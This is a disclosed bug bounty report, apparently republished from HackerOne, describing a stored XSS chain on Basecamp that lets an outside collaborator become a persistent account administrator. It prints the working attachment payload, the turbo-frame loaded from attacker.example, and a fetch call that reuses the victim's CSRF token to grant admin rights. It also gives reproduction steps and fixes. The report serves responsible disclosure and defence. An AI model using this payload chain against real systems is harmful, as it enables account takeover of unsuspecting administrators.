Skip to content
XSS Disclosed report Advanced

Cross-account stored XSS on app.basecamp.com leads to persistent administrator takeover

An outside collaborator could store a message with a crafted attachment that, when an administrator opened the edit form, executed JavaScript in the administrator's session. The script used the victim's CSRF token to grant the attacker persistent administrator rights on the victim's account.

matty69v Follow

Originally disclosed on HackerOne

High 8.7 View original
  • Triaged in 36 hours
  • Fixed in 7 days
  • Paid in 7 days
  • Disclosed after 8 days

Executive summary

An outside collaborator (O) in one project can store a message that renders as a normal YouTube embed while carrying attacker-controlled HTML in the content attribute of its bc-attachment.

When a different user, account administrator (A), opens that message's Edit form once, Lexxy normalizes the stored HTML and exposes a trusted legacy behavior. The behavior fetches attacker-controlled HTML and writes it with innerHTML. The attacker then introduces a cross-origin turbo-frame; Turbo loads its response and applies the victim page's CSP nonce to the embedded script. JavaScript therefore executes in the origin https://app.basecamp.com.

That script reads A's CSRF token and calls the administrator-grant endpoint as A. O becomes a persistent administrator of A's account. The grant remains after the victim browser is closed.

The demonstrated end state is:

Text
O: admin = true, owner = false
Victim: remains the account owner
Victim 37signals password/identity: not compromised

Test accounts

All accounts, users, and content are mine.

Role Person ID Basecamp account Access in victim account
Victim administrator (A) 53379754 6301766 Account owner/admin
External attacker (O) 53489491 6314604 Outside collaborator in one project
State Account 6301766
Before the trigger O has only project-level access as an outside collaborator in project 49452064; O has no team, administrator, account-settings, or other-project access.
After the trigger O is persistently admin: true, owner: false; O can manage administrators, people, project access, and account settings.

The initial role was also checked directly from O's session: O appeared in the project participant list, was absent from the account administrator list, and received 403 from account-administration routes, including a direct attempt to grant administrator access.

The victim remains the account owner. O does not obtain A's password or the global 37signals identity.

Preconditions and attack model

  • O controls a Basecamp account and is an outside collaborator with permission to post a message in one victim project.
  • A account administrator opens the stored message's Edit form once.
  • O controls an HTTPS origin that can return CORS-enabled HTML and the Turbo frame response.
  • O needs no victim password, session cookie, CSRF token, or second click.

The message is stored. If another victim administrator opens the same Edit form later, the same script executes in that administrator's session.

Proof package

The end-to-end screen recording is the primary proof:

video.mp4 From the original on HackerOne

Separate attacker account

O is signed in to the independent Basecamp account 6314604. The Adminland button visible on this page belongs to O's own account; it is not the victim's account 6301766.

1.png
1.png From the original on HackerOne

Stored message renders normally

O stores the payload in the victim project. The reader view displays a normal YouTube embed and attributes the message to H1 Outsider.

2.png
2.png From the original on HackerOne

Native JavaScript execution

The victim opens Edit. The Chrome address bar is still on app.basecamp.com, and the native dialog displays the result of alert(document.domain):

Text
app.basecamp.com
3.png
3.png From the original on HackerOne

Persistent Adminland access after the victim session

The XSS grants O administrator privileges using A's authenticated session. After the victim browser is closed, O can still open Adminland for account 6301766.

4.png
4.png From the original on HackerOne

O can add/remove administrators

O exercises the stolen privilege and promotes another member (demo, person 53379769) to administrator. The list visibly includes O, the victim owner, and the newly promoted administrator.

5.png
5.png From the original on HackerOne

Victim account-management data

O can open the victim administrator's account-management profile without the victim's browser, cookie, or password.

6.png
6.png From the original on HackerOne

Attack chain

Text
External account O (account 6314604, person 53489491)
  -> outside collaborator in victim project 49452064
  -> stores a valid YouTube embed and hidden bc-attachment content
Victim administrator A (account 6301766, person 53379754)
  -> opens message 10479052766 in Edit
  -> Lexxy normalizes select > option > div
  -> data-behavior/data-url survive DOMPurify
  -> load_drafts_link fetches attacker HTML and assigns innerHTML
  -> attacker inserts <turbo-frame src=attacker>
  -> Turbo loads the frame and copies A's CSP nonce to its script
JavaScript runs as A on app.basecamp.com
  -> POST /account/administratorships with A's CSRF token
  -> server returns 302 to /6301766/account/administrators
  -> O becomes a persistent administrator of A's account

Reproduction

  1. As O, verify that the session is attached to the independent account 6314604, not victim account 6301766.
  2. Create a normal YouTube embed under the victim account and retain its server-generated sgid.
  3. As O, post a message in victim project 49452064 using the payload below.
  4. As victim administrator A, open the stored message's Edit URL once.
  5. Observe the native alert(document.domain) and the same-origin POST to /6301766/account/administratorships.
  6. Close the victim browser. Verify that O's separate account is now a persistent administrator of account 6301766.
  7. As O, perform an administrator write action by promoting person 53379769.

The sgid is obtained by creating a normal YouTube embed with O's authenticated session:

HTTP
POST /6301766/embeds.json HTTP/1.1
Host: app.basecamp.com
Content-Type: application/json
X-CSRF-Token: <O's token>

{"url":"https://www.youtube.com/watch?v=dQw4w9WgXcQ"}

Payload

HTML
<div>H1XACCT cross-account proof</div>
<bc-attachment
  sgid="YOUTUBE_EMBED_SGID"
  content-type="embed/youtube-video"
  content="&lt;select&gt;&lt;option&gt;&lt;div data-behavior=&quot;load_drafts_link&quot; data-url=&quot;https://attacker.example/drafts&quot;&gt;XSS&lt;/div&gt;&lt;/option&gt;&lt;/select&gt;">
</bc-attachment>
<div>H1XACCT after embed</div>

O stores that markup as the content value of a normal message:

HTTP
POST /6301766/buckets/49452064/message_boards/10465121751/messages.json HTTP/1.1
Host: app.basecamp.com
Content-Type: application/json
X-CSRF-Token: <O's token>

{
  "subject": "H1XACCT independent account XSS proof",
  "content": "<div>...</div><bc-attachment ...></bc-attachment><div>...</div>",
  "status": "active"
}

The key detail is that the nested malicious markup is encoded inside the content attribute. The attachment still has a valid server-generated sgid, so the reader view is not visibly malformed.

Victim trigger

The victim opens:

Text
https://app.basecamp.com/6301766/buckets/49452064/messages/10479052766/edit

The attacker's /drafts response is inserted by load_drafts_link:

HTML
<turbo-frame
  id="h1proofframe"
  src="https://attacker.example/frame">
</turbo-frame>

The matching /frame response contains an inline script inside a frame with the same ID. Turbo loads the CORS-enabled response and supplies the current page nonce when activating the script.

Administrator takeover

The nonce-authorized script runs on https://app.basecamp.com, reads the victim's CSRF token from the page metadata, and calls:

JavaScript
const body = new URLSearchParams({ person_id: "53489491" }).toString();

await fetch("/6301766/account/administratorships", {
  method: "POST",
  credentials: "same-origin",
  headers: {
    "Content-Type": "application/x-www-form-urlencoded",
    "X-CSRF-Token": csrf
  },
  body
});

The server responds with a 302 Found redirect to:

Text
/6301766/account/administrators

The grant is persistent and the grant endpoint accepts the request because it originates from the victim's own origin with the victim's valid CSRF token. After the victim browser closes, O's separate session reports:

JSON
{
  "id": 53489491,
  "admin": true,
  "owner": false
}

O then accesses the following victim account surfaces with O's own cookie and without A's browser:

Text
/6301766/account
/6301766/account/administrators
/6301766/account/people
/6301766/account/people/users/53379754/edit
/6301766/account/accesses/53379769/edit
/6301766/account/retention

O also promotes person 53379769 to administrator. This proves persistent write access to the administrator-management surface, not merely read access or a reflected UI state.

Root-cause analysis

The exploit combines four primitives:

  1. Client-controlled attachment content is trusted. The server preserves the supplied bc-attachment.content when the attachment has a valid sgid. Lexxy reparses that content in the editor.

  2. HTML parsing is not a sanitization boundary. The invalid select > option > div sequence is normalized by the HTML parser into a live div, exposing attributes that were not intended to become active.

  3. Dangerous data attributes survive sanitization. Lexxy blocks data-controller and data-action but permits data-behavior="load_drafts_link" and the attacker-controlled data-url.

  4. A trusted behavior sinks to innerHTML. The legacy behavior executes:

    JavaScript
    BC.fetch(element.dataset.url).then(html => element.innerHTML = html)
    

The injected turbo-frame is then loaded by Turbo. Turbo's frame handling propagates the page's CSP nonce to the frame script, converting stored HTML injection into same-origin JavaScript execution. The application's CSRF protection does not prevent this because the script reads and reuses the victim's legitimate token from the same origin.

Observed evidence

  • Native dialog: app.basecamp.com

  • Browser origin during execution: https://app.basecamp.com

  • Attacker fetches: /drafts, then /frame

  • JavaScript execution on the victim origin

  • Request:

    Text
    POST https://app.basecamp.com/6301766/account/administratorships
    302 -> /6301766/account/administrators
    
  • Persisted attacker grant:

    JSON
    {
      "id": 53489491,
      "admin": true,
      "owner": false
    }
    
  • Attacker administrator write: person 53379769 changed from non-admin to admin with a 302 response to /6301766/account/administrators.

Suggested remediation

Primary fixes:

  1. Do not trust a client-supplied bc-attachment.content merely because its sgid resolves. Rebuild attachment markup server-side from the resolved object.
  2. Set DOMPurify's ALLOW_DATA_ATTR to false in Lexxy, or use an explicit allowlist that excludes behavior and URL-bearing attributes.
  3. Prevent legacy behaviors from consuming URLs in imported attachment content.

Defense in depth:

  1. Normalize HTML to a fixed point before validation and rendering.
  2. Do not apply the application CSP nonce to scripts originating in attacker-controlled cross-origin Turbo frames.
  3. Require step-up authentication for administrator grants and removals.
  4. Add regression tests covering the attachment parser differential, data-behavior / data-url, cross-origin frames, and nonce propagation.

The accounts, stored message, attacker tunnel, and administrator grants are intentionally left in place for validation.

Impact

An outside collaborator in one shared project can execute arbitrary JavaScript in an account owner/admin's authenticated session when the victim opens the message editor once.

The script can read the CSRF token and perform authenticated same-origin requests as the victim. The demonstrated end state is persistent administrative control of the victim account:

  • add or remove administrators;
  • manage account people;
  • edit project access for account members;
  • open victim account-management records;
  • access account-level retention settings;
  • perform other actions available to the victim administrator.

The original report as published on HackerOne, by matty69v. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the server trusted client-supplied attachment content and a legacy behaviour inserted it via innerHTML, while the sanitiser allowed dangerous data attributes and Turbo copied the page's CSP nonce to an attacker-controlled frame.

Impact

An outside collaborator could gain persistent administrative control of the victim's account, including adding or removing administrators and managing account settings, though the victim's password and global identity were not compromised.

What the attacker needed

Attacker has a Basecamp account; attacker is outside collaborator in one project; victim admin opens the message edit form once; attacker controls an HTTPS origin

The fix

The report suggests rebuilding attachment markup server-side, disallowing data attributes in the sanitiser, preventing legacy behaviours from consuming URLs, and not applying the CSP nonce to cross-origin Turbo frames; the text does not state that a fix was deployed.

How it was found

  1. As the attacker, confirm the session belongs to the independent account, not the victim account.
  2. Create a normal YouTube embed under the victim account and keep its server-generated sgid.
  3. Post a message in the victim project containing the crafted attachment payload.
  4. As the victim administrator, open the stored message's edit URL once.
  5. Observe the JavaScript alert and the same-origin POST to the administratorships endpoint.
  6. Close the victim browser and verify the attacker's separate account is now a persistent administrator.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A person who was only an outside collaborator in one project could hide malicious code inside a message attachment. When an administrator edited that message, the code ran in the administrator's browser and gave the collaborator persistent admin rights on the account.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by matty69v

View all

16 more disclosed reports, best first.

More from Basecamp

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.